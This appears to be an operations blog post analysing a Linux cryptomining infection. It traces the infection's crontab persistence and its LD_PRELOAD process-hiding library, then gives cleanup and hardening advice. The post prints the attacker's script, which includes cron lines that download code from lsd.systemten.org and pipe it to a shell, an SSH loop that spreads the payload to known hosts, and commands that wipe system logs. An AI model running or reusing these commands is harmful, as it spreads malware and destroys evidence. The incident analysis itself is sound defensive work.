Detecting and Eradicating Hidden Linux Mining Malware via Crontab and LD_PRELOAD
This article walks through a real‑world Linux mining malware incident, detailing how the attacker used a malicious crontab entry and LD_PRELOAD to hide processes, the forensic steps to uncover the payload, and practical remediation and hardening measures to prevent future compromises.
Cause
A friend’s company was infected by a cryptocurrency mining virus and asked for help.
Intrusion Analysis
Basic Information Check
Running
topshowed no suspicious processes, but an abnormal cron job was found in
crontab:
The URL in the cron job pointed to a shell script (now deleted).
Script Analysis
The malicious script creates a persistent cron task that repeatedly downloads and executes a payload:
<code>echo "*/10 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh"|crontab -
cat > /etc/crontab <<EOF
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
*/10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh
EOF</code>The script then kills known mining processes and downloads the mining binary from image‑hosting sites, sets execution permissions, and runs it.
<code>ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
... (additional kill commands) ...</code>It also creates writable files in common bin directories, modifies
PATH, and executes the downloaded
sshdbinary.
<code>cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
... (setup commands) ...
chmod +x sshd
$(pwd)/sshd || ./sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || /tmp/sshd || /usr/local/sbin/sshd</code>The malware then scans
/root/.sshand
/home/*/.sshfor known hosts and attempts lateral propagation by executing the same payload on discovered hosts.
<code>if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do
ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &'
done
fi
... (similar loop for /home/*) ...</code>Finally, the attacker attempts to erase traces by zero‑ing log files:
<code>echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron</code>Further Investigation
After stopping the cron process, the analyst searched for the hidden
sshdrootkit. Standard
psand
netstatdid not show it, indicating a user‑space rootkit that hides its process entries.
Common user‑space hiding techniques include: Replacing system utilities (ps, top, lsof) with malicious versions. Hooking system calls like getdents or readdir via a malicious shared library. Using deceptive process names. Mount‑bind tricks to mask /proc/<pid> directories.
Using a static binary such as
busyboxrevealed the hidden processes. The hidden process was identified as
{sshd} [kthreadd]and a helper
/usr/local/sbin/havegeds. Killing
sshdfirst prevented it from respawning the miner.
Strace showed that the
pscommand loaded a malicious library via
LD_PRELOAD(
libboost_timed.so), which filtered out the rootkit’s process entries.
Removing
libboost_timed.sorestored visibility of the
sshdprocess.
Further reverse engineering of the library showed it also modified several system files and left cron entries and an init script backdoor, which were subsequently removed.
Security Recommendations
SSH Hardening
① Avoid password‑less logins. ② Change the default port 22. ③ Use strong root passwords.
Redis Protection
Enable authentication (requirepass), prefer the Docker image, and hide privileged commands.
Never install software from untrusted sources on production or test servers.
Efficient Ops
This public account is maintained by Xiaotianguo and friends, regularly publishing widely-read original technical articles. We focus on operations transformation and accompany you throughout your operations career, growing together happily.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.